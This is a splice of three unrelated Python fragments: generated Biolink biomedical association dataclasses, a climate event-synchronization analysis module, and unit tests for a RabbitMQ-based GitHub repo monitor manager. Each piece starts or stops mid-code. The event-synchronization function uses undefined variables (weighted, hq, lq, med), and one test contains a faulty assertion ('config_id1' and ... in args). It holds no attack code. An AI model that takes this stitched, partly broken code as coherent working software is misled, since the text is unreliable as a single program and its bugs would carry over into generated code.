@dataclass
class GeneHasVariantThatContributesToDiseaseAssociation(GeneToDiseaseAssociation):
_inherited_slots: ClassVar[List[str]] = []
class_class_uri: ClassVar[URIRef] = BIOLINK.GeneHasVariantThatContributesToDiseaseAssociation
class_class_curie: ClassVar[str] = "biolink:GeneHasVariantThatContributesToDiseaseAssociation"
class_name: ClassVar[str] = "gene has variant that contributes to disease association"
class_model_uri: ClassVar[URIRef] = BIOLINK.GeneHasVariantThatContributesToDiseaseAssociation
id: Union[str, GeneHasVariantThatContributesToDiseaseAssociationId] = None
predicate: Union[str, PredicateType] = None
object: Union[str, NamedThingId] = None
subject: Union[dict, GeneOrGeneProduct] = None
sequence_variant_qualifier: Optional[Union[str, SequenceVariantId]] = None
def __post_init__(self, *_: List[str], **kwargs: Dict[str, Any]):
if self._is_empty(self.id):
self.MissingRequiredField("id")
if not isinstance(self.id, GeneHasVariantThatContributesToDiseaseAssociationId):
self.id = GeneHasVariantThatContributesToDiseaseAssociationId(self.id)
if self._is_empty(self.subject):
self.MissingRequiredField("subject")
if not isinstance(self.subject, GeneOrGeneProduct):
self.subject = GeneOrGeneProduct(**self.subject)
if self.sequence_variant_qualifier is not None and not isinstance(self.sequence_variant_qualifier, SequenceVariantId):
self.sequence_variant_qualifier = SequenceVariantId(self.sequence_variant_qualifier)
super().__post_init__(**kwargs)
@dataclass
class GeneToExpressionSiteAssociation(Association):
"""
An association between a gene and an expression site, possibly qualified by stage/timing info.
"""
_inherited_slots: ClassVar[List[str]] = []
class_class_uri: ClassVar[URIRef] = BIOLINK.GeneToExpressionSiteAssociation
class_class_curie: ClassVar[str] = "biolink:GeneToExpressionSiteAssociation"
class_name: ClassVar[str] = "gene to expression site association"
class_model_uri: ClassVar[URIRef] = BIOLINK.GeneToExpressionSiteAssociation
id: Union[str, GeneToExpressionSiteAssociationId] = None
subject: Union[dict, GeneOrGeneProduct] = None
object: Union[str, AnatomicalEntityId] = None
predicate: Union[str, PredicateType] = None
stage_qualifier: Optional[Union[str, LifeStageId]] = None
quantifier_qualifier: Optional[Union[dict, OntologyClass]] = None
def __post_init__(self, *_: List[str], **kwargs: Dict[str, Any]):
if self._is_empty(self.id):
self.MissingRequiredField("id")
if not isinstance(self.id, GeneToExpressionSiteAssociationId):
self.id = GeneToExpressionSiteAssociationId(self.id)
if self._is_empty(self.subject):
self.MissingRequiredField("subject")
if not isinstance(self.subject, GeneOrGeneProduct):
self.subject = GeneOrGeneProduct(**self.subject)
if self._is_empty(self.object):
self.MissingRequiredField("object")
if not isinstance(self.object, AnatomicalEntityId):
self.object = AnatomicalEntityId(self.object)
if self._is_empty(self.predicate):
self.MissingRequiredField("predicate")
if not isinstance(self.predicate, PredicateType):
self.predicate = PredicateType(self.predicate)
if self.stage_qualifier is not None and not isinstance(self.stage_qualifier, LifeStageId):
self.stage_qualifier = LifeStageId(self.stage_qualifier)
if self.quantifier_qualifier is not None and not isinstance(self.quantifier_qualifier, OntologyClass):
self.quantifier_qualifier = OntologyClass()
super().__post_init__(**kwargs)
@dataclass
class SequenceVariantModulatesTreatmentAssociation(Association):
"""
An association between a sequence variant and a treatment or health intervention. The treatment object itself
encompasses both the disease and the drug used.
"""
_inherited_slots: ClassVar[List[str]] = []
class_class_uri: ClassVar[URIRef] = BIOLINK.SequenceVariantModulatesTreatmentAssociation
class_class_curie: ClassVar[str] = "biolink:SequenceVariantModulatesTreatmentAssociation"
class_name: ClassVar[str] = "sequence variant modulates treatment association"
class_model_uri: ClassVar[URIRef] = BIOLINK.SequenceVariantModulatesTreatmentAssociation
id: Union[str, SequenceVariantModulatesTreatmentAssociationId] = None
predicate: Union[str, PredicateType] = None
subject: Union[str, SequenceVariantId] = None
object: Union[str, TreatmentId] = None
def __post_init__(self, *_: List[str], **kwargs: Dict[str, Any]):
if self._is_empty(self.subject):
self.MissingRequiredField("subject")
if not isinstance(self.subject, SequenceVariantId):
self.subject = SequenceVariantId(self.subject)
if self._is_empty(self.object):
self.MissingRequiredField("object")
if not isinstance(self.object, TreatmentId):
self.object = TreatmentId(self.object)
super().__post_init__(**kwargs)
@dataclass
class FunctionalAssociation(Association):
"""
An association between a macromolecular machine mixin (gene, gene product or complex of gene products) and either
a molecular activity, a biological process or a cellular location in which a function is executed.
"""
_inherited_slots: ClassVar[List[str]] = []
class_class_uri: ClassVar[URIRef] = BIOLINK.FunctionalAssociation
class_class_curie: ClassVar[str] = "biolink:FunctionalAssociation"
class_name: ClassVar[str] = "functional association"
class_model_uri: ClassVar[URIRef] = BIOLINK.FunctionalAssociation
id: Union[str, FunctionalAssociationId] = None
predicate: Union[str, PredicateType] = None
subject: Union[dict, MacromolecularMachineMixin] = None
object: Union[dict, GeneOntologyClass] = None
def __post_init__(self, *_: List[str], **kwargs: Dict[str, Any]):
if self._is_empty(self.id):
self.MissingRequiredField("id")
if not isinstance(self.id, FunctionalAssociationId):
self.id = FunctionalAssociationId(self.id)
if self._is_empty(self.subject):
self.MissingRequiredField("subject")
if not isinstance(self.subject, MacromolecularMachineMixin):
self.subject = MacromolecularMachineMixin(**self.subject)
if self._is_empty(self.object):
self.MissingRequiredField("object")
if not isinstance(self.object, GeneOntologyClass):
self.object = GeneOntologyClass()
super().__post_init__(**kwargs)
@dataclass
class MacromolecularMachineToEntityAssociationMixin(YAMLRoot):
"""
an association which has a macromolecular machine mixin as a subject
"""
_inherited_slots: ClassVar[List[str]] = []
class_class_uri: ClassVar[URIRef] = BIOLINK.MacromolecularMachineToEntityAssociationMixin
class_class_curie: ClassVar[str] = "biolink:MacromolecularMachineToEntityAssociationMixin"
class_name: ClassVar[str] = "macromolecular machine to entity association mixin"
class_model_uri: ClassVar[URIRef] = BIOLINK.MacromolecularMachineToEntityAssociationMixin
subject: Union[str, NamedThingId] = None
def __post_init__(self, *_: List[str], **kwargs: Dict[str, Any]):
if self._is_empty(self.subject):
self.MissingRequiredField("subject")
if not isinstance(self.subject, NamedThingId):
self.subject = NamedThingId(self.subject)
super().__post_init__(**kwargs)
@dataclass
class MacromolecularMachineToMolecularActivityAssociation(FunctionalAssociation):
"""
A functional association between a macromolecular machine (gene, gene product or complex) and a molecular activity
(as represented in the GO molecular function branch), where the entity carries out the activity, or contributes to
its execution.
"""
_inherited_slots: ClassVar[List[str]] = []
class_class_uri: ClassVar[URIRef] = BIOLINK.MacromolecularMachineToMolecularActivityAssociation
class_class_curie: ClassVar[str] = "biolink:MacromolecularMachineToMolecularActivityAssociation"
class_name: ClassVar[str] = "macromolecular machine to molecular activity association"
class_model_uri: ClassVar[URIRef] = BIOLINK.MacromolecularMachineToMolecularActivityAssociation
id: Union[str, MacromolecularMachineToMolecularActivityAssociationId] = None
predicate: Union[str, PredicateType] = None
subject: Union[dict, MacromolecularMachineMixin] = None
object: Union[str, MolecularActivityId] = None
def __post_init__(self, *_: | |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Oct 20 11:09:03 2020
@author: <NAME>
"""
import sys, os
import numpy as np
from math import ceil
import xarray as xr
import multiprocessing as mpi
import time
from joblib import Parallel, delayed
from tqdm import tqdm
import scipy.stats as st
from scipy.signal import filtfilt, cheby1, argrelmax, find_peaks
def get_vector_list_index_of_extreme_events(event_data):
extreme_event_index_matrix=[]
for i, e in enumerate(event_data):
ind_list= np.where(e>0)[0]
extreme_event_index_matrix.append(ind_list)
return np.array(extreme_event_index_matrix, dtype=object)
def remove_consecutive_days(event_data, event_data_idx):
"""
Consecutive days with rainfall above the threshold are considered as single events
and placed on the first day of occurrence.
Example:
event_series_matrix = compute_event_time_series(fully_proccessed_data, var)
all_event_series=flatten_lat_lon_array(event_series_matrix)
extreme_event_index_matrix=es.get_vector_list_index_of_extreme_events(all_event_series)
this_series_idx=extreme_event_index_matrix[index]
print(this_series_idx)
corr_all_event_series=es.remove_consecutive_days(all_event_series, extreme_event_index_matrix)
corr_extreme_event_index_matrix=es.get_vector_list_index_of_extreme_events(corr_all_event_series)
this_series_idx=corr_extreme_event_index_matrix[index]
print(this_series_idx)
Parameters
----------
event_data : Array
Array containing event_data
event_data_idx : Array
Array containing indices of all events in event_data
Returns
-------
event_data : Array
Corrected array of event data.
"""
if len(event_data) != len(event_data_idx):
raise ValueError("ERROR! Event data and list of idx event data are not of the same length!")
for i, e in enumerate(event_data):
this_series_idx = event_data_idx[i]
this_series_idx_1nb = event_data_idx[i] + 1
this_series_idx_2nb = event_data_idx[i] + 2
# this_series_idx_3nb=extreme_event_index_matrix[i] +3
intersect_1nb=np.intersect1d(this_series_idx, this_series_idx_1nb )
intersect_2nb=np.intersect1d(intersect_1nb, this_series_idx_2nb )
# intersect_3nb=np.intersect1d(intersect_2nb,this_series_idx_3nb )
e[intersect_1nb]=0
e[intersect_2nb]=0
return event_data
def randomize_e_matrix(e_matrix):
for idx, ts in enumerate(e_matrix):
e_matrix[idx] = np.random.permutation(ts)
return e_matrix
def event_synchronization(event_data, taumax=10, min_num_sync_events=10, randomize_ts=False):
num_time_series = len(event_data)
adj_matrix = np.zeros((num_time_series,num_time_series),dtype=int)
double_taumax = 2*taumax
extreme_event_index_matrix = get_vector_list_index_of_extreme_events(event_data)
event_data = remove_consecutive_days(event_data, extreme_event_index_matrix)
extreme_event_index_matrix = get_vector_list_index_of_extreme_events(event_data)
if randomize_ts is True:
extreme_event_index_matrix=randomize_e_matrix(extreme_event_index_matrix)
start=time.time()
print(f"Start computing event synchronization!")
for i, ind_list_e1 in enumerate(extreme_event_index_matrix):
# Get indices of event series 1
#ind_list_e1= np.where(e1>0)[0]
for j, ind_list_e2 in enumerate(extreme_event_index_matrix):
if i == j:
continue
sync_event=0
for m, e1_ind in enumerate(ind_list_e1[1:-1], start=1):
d_11_past = e1_ind-ind_list_e1[m-1]
d_11_next = ind_list_e1[m+1]-e1_ind
for n,e2_ind in enumerate(ind_list_e2[1:-1], start=1):
d_12_now = (e1_ind-e2_ind)
if d_12_now > taumax:
continue
d_22_past = e2_ind-ind_list_e2[n-1]
d_22_next = ind_list_e2[n+1]-e2_ind
tau = min(d_11_past, d_11_next, d_22_past, d_22_next, double_taumax) / 2
#print(tau, d_11_past, d_11_next, d_22_past, d_22_next, double_taumax)
if d_12_now <= tau and d_12_now >= 0:
sync_event += 1
#print("Sync: ", d_12_now, e1_ind, e2_ind, sync_event,n)
if d_12_now < -taumax:
#print('break!', d_12_now, e1_ind, e2_ind, )
break
# Createria if number of synchron events is relevant
if sync_event >= min_num_sync_events:
#print(i,j, sync_event)
adj_matrix[i, j] = 1
end = time.time()
print(end - start)
np.save('adj_matrix_gpcp.npy', adj_matrix)
print(adj_matrix)
return adj_matrix
def event_synchronization_one_series(extreme_event_index_matrix, ind_list_e1, i, taumax=10, min_num_sync_events=10):
double_taumax = 2*taumax
sync_time_series_indicies = []
# Get indices of event series 1
# ind_list_e1= np.where(e1>0)[0]
for j, ind_list_e2 in enumerate(extreme_event_index_matrix):
if i == j:
continue
sync_events = event_sync(ind_list_e1, ind_list_e2, taumax, double_taumax)
# Createria if number of synchron events is relevant
if sync_events >= min_num_sync_events:
# print(i,j, sync_event)
num_events_i = len(ind_list_e1)
num_events_j = len(ind_list_e2)
sync_time_series_indicies.append((j, num_events_i, num_events_j, sync_events))
return (i, sync_time_series_indicies)
def event_sync(ind_list_e1, ind_list_e2, taumax, double_taumax):
# Get indices of event series 2
# ind_list_e2=np.where(e2>0)[0]
sync_events = 0
#print(ind_list_e1)
#print(ind_list_e2)
for m, e1_ind in enumerate(ind_list_e1[1:-1], start=1):
d_11_past = e1_ind-ind_list_e1[m-1]
d_11_next = ind_list_e1[m+1]-e1_ind
for n, e2_ind in enumerate(ind_list_e2[1:-1], start=1):
d_12_now = (e1_ind-e2_ind)
if d_12_now > taumax:
continue
d_22_past = e2_ind-ind_list_e2[n-1]
d_22_next = ind_list_e2[n+1]-e2_ind
tau = min(d_11_past, d_11_next, d_22_past, d_22_next, double_taumax) / 2
#print(tau, d_11_past, d_11_next, d_22_past, d_22_next, double_taumax)
if d_12_now <= tau and d_12_now >= 0:
sync_events += 1
# print("Sync: ", d_12_now, e1_ind, e2_ind, sync_event,n)
if d_12_now < -taumax:
#print('break!', d_12_now, e1_ind, e2_ind, )
break
return sync_events
def prepare_es_input_data(event_data, rcd=True):
"""
Creates array of list, where events take place and removes consecutive days
"""
extreme_event_index_matrix = get_vector_list_index_of_extreme_events(event_data)
if rcd is True:
print("Start removing consecutive days...")
event_data = remove_consecutive_days(event_data, extreme_event_index_matrix)
extreme_event_index_matrix = get_vector_list_index_of_extreme_events(event_data)
print("End removing consecutive days!")
return extreme_event_index_matrix
def parallel_event_synchronization(event_data, taumax=10, min_num_sync_events=1, job_id=0, num_jobs=1, savepath="./E_matrix.npy", null_model=None,
):
num_time_series = len(event_data)
one_array_length = int(num_time_series/num_jobs) +1
extreme_event_index_matrix = prepare_es_input_data(event_data)
start_arr_idx = job_id*one_array_length
end_arr_idx = (job_id+1)*one_array_length
print(f"Start computing event synchronization for event data from {start_arr_idx} to {end_arr_idx}!")
# For parallel Programming
num_cpus_avail = mpi.cpu_count()
print(f"Number of available CPUs: {num_cpus_avail}")
parallelArray = []
start = time.time()
# Parallelizing by using joblib
backend = 'multiprocessing'
# backend='loky'
#backend='threading'
parallelArray = (Parallel(n_jobs=num_cpus_avail, backend=backend)
(delayed(event_synchronization_one_series)
(extreme_event_index_matrix, e1, start_arr_idx + i, taumax, min_num_sync_events)
for i, e1 in enumerate(tqdm(extreme_event_index_matrix[start_arr_idx:end_arr_idx]))
)
)
# Store output of parallel processes in adjecency matrix
adj_matrix_edge_list = []
print("Now store results in numpy array to hard drive!")
for process in tqdm(parallelArray):
i, list_sync_event_series = process
for sync_event in list_sync_event_series:
j, num_events_i, num_events_j, num_sync_events_ij = sync_event
thresh_null_model = null_model[num_events_i, num_events_j]
# Check if number of synchronous events is significant according to the null model
# Threshold needs to be larger (non >= !)
if num_sync_events_ij > thresh_null_model:
# print(
# f'i {i} {num_events_i}, j {j} {num_events_j} Sync_events {num_sync_events_ij} > {int(thresh_null_model)}')
if weighted is True:
if np.abs(hq - lq) < 0.001:
print(f'WARNING, hq{hq}=lq{lq}')
weight = 0
else:
weight = (num_sync_events_ij - med) / (hq - lq)
else:
weight = 1 # All weights are set to 1
adj_matrix_edge_list.append((int(i), int(j), weight))
# print(i, list_sync_event_series)
end = time.time()
print(end - start)
np.save(savepath, adj_matrix_edge_list)
print(f'Finished for job ID {job_id}')
return adj_matrix_edge_list
def event_sync_reg(ind_list_e1, ind_list_e2, taumax, double_taumax):
"""
ES for regional analysis that delivers specific timings.
It returns the
"""
sync_events = 0
t12_lst = []
t21_lst = []
t_lst = []
dyn_delay_lst = []
for m, e1_ind in enumerate(ind_list_e1[1:-1], start=1):
d_11_past = e1_ind-ind_list_e1[m-1]
d_11_next = ind_list_e1[m+1]-e1_ind
for n, e2_ind in enumerate(ind_list_e2[1:-1], start=1):
d_12_now = (e1_ind-e2_ind)
if d_12_now > taumax:
continue
d_22_past = e2_ind-ind_list_e2[n-1]
d_22_next = ind_list_e2[n+1]-e2_ind
tau = min(d_11_past, d_11_next, d_22_past, d_22_next, double_taumax) / 2
if abs(d_12_now) <= tau:
sync_events += 1
dyn_delay_lst.append(d_12_now)
if d_12_now < 0:
t12_lst.append(e1_ind)
t_lst.append(e1_ind)
elif d_12_now > 0:
t21_lst.append(e2_ind)
t_lst.append(e2_ind)
else:
t12_lst.append(e1_ind)
t21_lst.append(e2_ind)
t_lst.append(e2_ind)
if d_12_now < -taumax:
# print('break!', d_12_now, e1_ind, e2_ind, )
break
return (t_lst, t12_lst, t21_lst, dyn_delay_lst)
def es_reg(es_r1, es_r2, taumax ):
"""
"""
from itertools import product
if es_r1.shape[1] != es_r2.shape[1]:
raise ValueError("The number of time points of ts1 and ts 2 are not identical!")
num_tp = es_r1.shape[1]
es_r1 = prepare_es_input_data(es_r1)
es_r2 = prepare_es_input_data(es_r2)
comb_e12 = np.array(list(product(es_r1, es_r2)),dtype=object)
backend = 'multiprocessing'
# backend='loky'
# backend='threading'
num_cpus_avail = mpi.cpu_count()
print(f"Number of available CPUs: {num_cpus_avail}")
parallelArray = (Parallel(n_jobs=num_cpus_avail, backend=backend)
(delayed(event_sync_reg)
(e1, e2, taumax, 2*taumax)
for (e1, e2) in tqdm(comb_e12)
)
)
t12 = np.zeros(num_tp, dtype=int)
t21 = np.zeros(num_tp, dtype=int)
t = np.zeros(num_tp)
for (t_e, t12_e, t21_e, _) in parallelArray:
t[t_e] += 1
t12[t12_e] += 1
t21[t21_e] += 1
return t, t12, t21
def get_network_comb(c_indices1, c_indices2, adjacency=None):
from itertools import product
comb_c12 = np.array(list(product(c_indices1, c_indices2)), dtype=object)
if adjacency is None:
return comb_c12
else:
comb_c12_in_network = []
for (c1, c2) in tqdm(comb_c12) :
if adjacency[c1][c2] == 1 or adjacency[c2][c1] == 1:
comb_c12_in_network.append([c1, c2])
if len(comb_c12) == len(comb_c12_in_network):
print("WARNING! All links in network seem to be connected!")
return np.array(comb_c12_in_network, dtype=object)
def get_network_comb_es(c_indices1, c_indices2, ind_ts_dict1, ind_ts_dict2, adjacency=None):
comb_c12_in_network = get_network_comb(c_indices1, c_indices2, adjacency=adjacency)
print("Get combinations!")
comb_e12 = []
for (c1, c2) in comb_c12_in_network:
e1 = ind_ts_dict1[c1]
e2 = ind_ts_dict2[c2]
comb_e12.append([e1, e2])
comb_e12 = np.array(comb_e12, dtype=object)
return comb_e12
def es_reg_network(ind_ts_dict1, ind_ts_dict2, taumax, adjacency=None):
"""
ES between 2 regions. However, only links are considered that are found to be statistically significant
"""
from itertools import product
c_indices1 = ind_ts_dict1.keys()
c_indices2 = ind_ts_dict2.keys()
es1 = np.array(list(ind_ts_dict1.values()))
es2 = np.array(list(ind_ts_dict2.values()))
if es1.shape[1] != es2.shape[1]:
raise ValueError("The number of time points of ts1 and ts 2 are not identical!")
num_tp = es1.shape[1]
es_r1 = prepare_es_input_data(es1)
es_r2 = prepare_es_input_data(es2)
ind_ts_dict1 = dict(zip(c_indices1, es_r1))
ind_ts_dict2 = dict(zip(c_indices2, es_r2))
backend = 'multiprocessing'
comb_c12_in_network = get_network_comb(c_indices1, c_indices2, adjacency=adjacency)
print("Get combinations!")
comb_e12 = []
for (c1, c2) in comb_c12_in_network:
e1 = ind_ts_dict1[c1]
e2 = ind_ts_dict2[c2]
comb_e12.append([e1, e2])
comb_e12 = np.array(comb_e12, dtype=object)
# print(comb_e12)
num_cpus_avail = mpi.cpu_count()
print(f"Number of available CPUs: {num_cpus_avail}")
parallelArray = (
Parallel(n_jobs=num_cpus_avail, backend=backend)
(delayed(event_sync_reg)
(e1, e2, taumax, 2*taumax)
for(e1, e2) in tqdm(comb_e12)
)
)
t12 = np.zeros(num_tp, dtype=int)
t21 = np.zeros(num_tp, dtype=int)
t = np.zeros(num_tp)
# dyn_delay_arr=np.array([])
dyn_delay_arr = []
for (t_e, t12_e, t21_e, dyn_delay) in tqdm(parallelArray):
t[t_e] += 1
t12[t12_e] += 1
t21[t21_e] += 1
dyn_delay_arr.append(dyn_delay)
# dyn_delay_arr=np.concatenate([dyn_delay_arr, np.array(dyn_delay)], axis=0 )
dyn_delay_arr = np.concatenate(dyn_delay_arr, axis=0)
return t, t12, t21, dyn_delay_arr
# %% Null model
def get_null_model_adj_matrix_from_E_files(E_matrix_folder, num_time_series,
savepath=None):
if os.path.exists(E_matrix_folder):
path = E_matrix_folder
E_matrix_files = [os.path.join(path, fn) for fn in next(os.walk(path))[2]]
else:
raise ValueError(f"E_matrix Folder {E_matrix_folder} does not | |
self.assertTrue('config_id1' and 'Substrate Polkadot' in args)
self.assertEqual(updated_configs_chain['config_id1']['id'],
args[0].repo_id)
self.assertEqual(updated_configs_chain['config_id1']['parent_id'],
args[0].parent_id)
self.assertEqual(
updated_configs_chain['config_id1']['repo_name'] + '/',
args[0].repo_name)
self.assertEqual(
str_to_bool(
updated_configs_chain['config_id1']['monitor_repo']),
args[0].monitor_repo)
self.assertEqual(env.GITHUB_RELEASES_TEMPLATE.format(
updated_configs_chain['config_id1']['repo_name'] + '/'),
args[0].releases_page)
self.test_manager._process_configs(blocking_channel, method_general,
properties,
body_updated_configs_general)
self.assertEqual(2, startup_mock.call_count)
args, _ = startup_mock.call_args
self.assertTrue('config_id2' and 'general' in args)
self.assertEqual(updated_configs_general['config_id2']['id'],
args[0].repo_id)
self.assertEqual(updated_configs_general['config_id2']['parent_id'],
args[0].parent_id)
self.assertEqual(
updated_configs_general['config_id2']['repo_name'] + '/',
args[0].repo_name)
self.assertEqual(
str_to_bool(
updated_configs_general['config_id2']['monitor_repo']),
args[0].monitor_repo)
self.assertEqual(env.GITHUB_RELEASES_TEMPLATE.format(
updated_configs_general['config_id2']['repo_name'] + '/'),
args[0].releases_page)
except Exception as e:
self.fail("Test failed: {}".format(e))
@mock.patch("src.monitors.starters.create_logger")
@mock.patch.object(RabbitMQApi, "basic_ack")
def test_process_configs_terminates_monitors_for_removed_configs(
self, mock_ack, mock_create_logger) -> None:
# In this test we will check that when a config is removed, it's monitor
# is terminated by _process_configs.
mock_ack.return_value = None
mock_create_logger.return_value = self.dummy_logger
try:
# Must create a connection so that the blocking channel is passed
self.test_manager.rabbitmq.connect()
blocking_channel = self.test_manager.rabbitmq.channel
method_chains = pika.spec.Basic.Deliver(
routing_key=self.chains_routing_key)
method_general = pika.spec.Basic.Deliver(
routing_key=self.general_routing_key)
body_chain_initial = json.dumps(self.sent_configs_example_chain)
body_general_initial = json.dumps(
self.sent_configs_example_general)
body_chain_new = json.dumps({})
body_general_new = json.dumps({})
properties = pika.spec.BasicProperties()
# First send the new configs as the state is empty
self.test_manager._process_configs(blocking_channel, method_chains,
properties, body_chain_initial)
self.test_manager._process_configs(blocking_channel, method_general,
properties, body_general_initial)
# Give time for the monitors to start
time.sleep(1)
# Assure that the processes have been started
self.assertTrue(self.test_manager.config_process_dict[
'config_id1']['process'].is_alive())
self.assertTrue(self.test_manager.config_process_dict[
'config_id2']['process'].is_alive())
# Send the updated configs
conf_id1_old_proc = self.test_manager.config_process_dict[
'config_id1']['process']
conf_id2_old_proc = self.test_manager.config_process_dict[
'config_id2']['process']
self.test_manager._process_configs(blocking_channel, method_chains,
properties, body_chain_new)
self.test_manager._process_configs(blocking_channel, method_general,
properties, body_general_new)
# Give time for the monitors to stop
time.sleep(1)
# Check that the old process has terminated
self.assertFalse(conf_id1_old_proc.is_alive())
self.assertFalse(conf_id2_old_proc.is_alive())
except Exception as e:
self.fail("Test failed: {}".format(e))
@mock.patch.object(RabbitMQApi, "basic_ack")
def test_process_configs_ignores_new_configs_with_missing_keys(
self, mock_ack) -> None:
# We will check whether the state is kept intact if new configurations
# with missing keys are sent. Exceptions should never be raised in this
# case, and basic_ack must be called to ignore the message.
mock_ack.return_value = None
new_configs_chain = {
'config_id3': {
'id': 'config_id3',
'parentfg_id': 'chain_1',
'repo_namfge': 'repo_3',
'monitorfg_repo': "True",
},
}
new_configs_general = {
'config_id5': {
'id': 'config_id5',
'parentdfg_id': 'GENERAL',
'repo_namdfge': 'repo_5',
'monitor_repostdfg': "True",
},
}
self.test_manager._github_repos_configs = \
self.github_repos_configs_example
self.test_manager._config_process_dict = \
self.config_process_dict_example
try:
# Must create a connection so that the blocking channel is passed
self.test_manager.rabbitmq.connect()
blocking_channel = self.test_manager.rabbitmq.channel
# We will send new configs through both the existing and
# non-existing chain and general paths to make sure that all routes
# work as expected.
method_chains = pika.spec.Basic.Deliver(
routing_key=self.chains_routing_key)
method_general = pika.spec.Basic.Deliver(
routing_key=self.general_routing_key)
body_new_configs_chain = json.dumps(new_configs_chain)
body_new_configs_general = json.dumps(new_configs_general)
properties = pika.spec.BasicProperties()
self.test_manager._process_configs(blocking_channel, method_general,
properties,
body_new_configs_general)
self.assertEqual(1, mock_ack.call_count)
self.assertEqual(self.config_process_dict_example,
self.test_manager.config_process_dict)
self.assertEqual(self.github_repos_configs_example,
self.test_manager.github_repos_configs)
self.test_manager._process_configs(blocking_channel, method_chains,
properties,
body_new_configs_chain)
self.assertEqual(2, mock_ack.call_count)
self.assertEqual(self.config_process_dict_example,
self.test_manager.config_process_dict)
self.assertEqual(self.github_repos_configs_example,
self.test_manager.github_repos_configs)
except Exception as e:
self.fail("Test failed: {}".format(e))
@mock.patch.object(RabbitMQApi, "basic_ack")
def test_process_configs_ignores_modified_configs_with_missing_Keys(
self, mock_ack) -> None:
# We will check whether the state is kept intact if modified
# configurations with missing keys are sent. Exceptions should never be
# raised in this case, and basic_ack must be called to ignore the
# message.
mock_ack.return_value = None
updated_configs_chain = {
'config_id1': {
'id': 'config_id1',
'parentfg_id': 'chain_1',
'repo_namfge': 'repo_1',
'monitorfg_repo': "True",
},
}
updated_configs_general = {
'config_id2': {
'id': 'config_id2',
'parentdfg_id': 'GENERAL',
'repo_namdfge': 'repo_2',
'monitor_repo': "True",
},
}
self.test_manager._github_repos_configs = \
self.github_repos_configs_example
self.test_manager._config_process_dict = \
self.config_process_dict_example
try:
# Must create a connection so that the blocking channel is passed
self.test_manager.rabbitmq.connect()
blocking_channel = self.test_manager.rabbitmq.channel
# We will send new configs through both the existing and
# non-existing chain and general paths to make sure that all routes
# work as expected.
method_chains = pika.spec.Basic.Deliver(
routing_key=self.chains_routing_key)
method_general = pika.spec.Basic.Deliver(
routing_key=self.general_routing_key)
body_updated_configs_chain = json.dumps(updated_configs_chain)
body_updated_configs_general = json.dumps(updated_configs_general)
properties = pika.spec.BasicProperties()
self.test_manager._process_configs(blocking_channel, method_general,
properties,
body_updated_configs_general)
self.assertEqual(1, mock_ack.call_count)
self.assertEqual(self.config_process_dict_example,
self.test_manager.config_process_dict)
self.assertEqual(self.github_repos_configs_example,
self.test_manager.github_repos_configs)
self.test_manager._process_configs(blocking_channel, method_chains,
properties,
body_updated_configs_chain)
self.assertEqual(2, mock_ack.call_count)
self.assertEqual(self.config_process_dict_example,
self.test_manager.config_process_dict)
self.assertEqual(self.github_repos_configs_example,
self.test_manager.github_repos_configs)
except Exception as e:
self.fail("Test failed: {}".format(e))
@freeze_time("2012-01-01")
@mock.patch("src.monitors.starters.create_logger")
@mock.patch.object(RabbitMQApi, "basic_ack")
def test_process_ping_sends_a_valid_hb_if_all_processes_are_alive(
self, mock_ack, mock_create_logger) -> None:
# This test creates a queue which receives messages with the same
# routing key as the ones sent by send_heartbeat, and checks that the
# received heartbeat is valid.
mock_create_logger.return_value = self.dummy_logger
mock_ack.return_value = None
try:
self.test_manager._initialise_rabbitmq()
blocking_channel = self.test_manager.rabbitmq.channel
method_chains = pika.spec.Basic.Deliver(
routing_key=self.chains_routing_key)
method_general = pika.spec.Basic.Deliver(
routing_key=self.general_routing_key)
body_chain_initial = json.dumps(self.sent_configs_example_chain)
body_general_initial = json.dumps(
self.sent_configs_example_general)
properties = pika.spec.BasicProperties()
# First send the new configs as the state is empty
self.test_manager._process_configs(blocking_channel, method_chains,
properties, body_chain_initial)
self.test_manager._process_configs(blocking_channel, method_general,
properties, body_general_initial)
# Give time for the processes to start
time.sleep(1)
# Delete the queue before to avoid messages in the queue on error.
self.test_manager.rabbitmq.queue_delete(self.test_queue_name)
# Initialise
method_hb = pika.spec.Basic.Deliver(
routing_key=HEARTBEAT_OUTPUT_MANAGER_ROUTING_KEY)
body = 'ping'
res = self.test_manager.rabbitmq.queue_declare(
queue=self.test_queue_name, durable=True, exclusive=False,
auto_delete=False, passive=False
)
self.assertEqual(0, res.method.message_count)
self.test_manager.rabbitmq.queue_bind(
queue=self.test_queue_name, exchange=HEALTH_CHECK_EXCHANGE,
routing_key=HEARTBEAT_OUTPUT_MANAGER_ROUTING_KEY)
self.test_manager._process_ping(blocking_channel, method_hb,
properties, body)
# By re-declaring the queue again we can get the number of messages
# in the queue.
res = self.test_manager.rabbitmq.queue_declare(
queue=self.test_queue_name, durable=True, exclusive=False,
auto_delete=False, passive=True
)
self.assertEqual(1, res.method.message_count)
# Check that the message received is a valid HB
_, _, body = self.test_manager.rabbitmq.basic_get(
self.test_queue_name)
expected_output = {
'component_name': self.test_manager.name,
'running_processes':
[self.test_manager.config_process_dict['config_id1'][
'component_name'],
self.test_manager.config_process_dict['config_id2'][
'component_name']],
'dead_processes': [],
'timestamp': datetime(2012, 1, 1).timestamp(),
}
self.assertEqual(expected_output, json.loads(body))
# Clean before test finishes
self.test_manager.config_process_dict['config_id1'][
'process'].terminate()
self.test_manager.config_process_dict['config_id2'][
'process'].terminate()
self.test_manager.config_process_dict['config_id1'][
'process'].join()
self.test_manager.config_process_dict['config_id2'][
'process'].join()
except Exception as e:
self.fail("Test failed: {}".format(e))
@freeze_time("2012-01-01")
@mock.patch("src.monitors.starters.create_logger")
@mock.patch.object(RabbitMQApi, "basic_ack")
def test_process_ping_sends_a_valid_hb_if_some_processes_alive_some_dead(
self, mock_ack, mock_create_logger) -> None:
# This test creates a queue which receives messages with the same
# routing key as the ones sent by send_heartbeat, and checks that the
# received heartbeat is valid.
mock_create_logger.return_value = self.dummy_logger
mock_ack.return_value = None
try:
self.test_manager._initialise_rabbitmq()
blocking_channel = self.test_manager.rabbitmq.channel
method_chains = pika.spec.Basic.Deliver(
routing_key=self.chains_routing_key)
method_general = pika.spec.Basic.Deliver(
routing_key=self.general_routing_key)
body_chain_initial = json.dumps(self.sent_configs_example_chain)
body_general_initial = json.dumps(
self.sent_configs_example_general)
properties = pika.spec.BasicProperties()
# First send the new configs as the state is empty
self.test_manager._process_configs(blocking_channel, method_chains,
properties, body_chain_initial)
self.test_manager._process_configs(blocking_channel, method_general,
properties, body_general_initial)
# Give time for the processes to start
time.sleep(1)
self.test_manager.config_process_dict['config_id1'][
'process'].terminate()
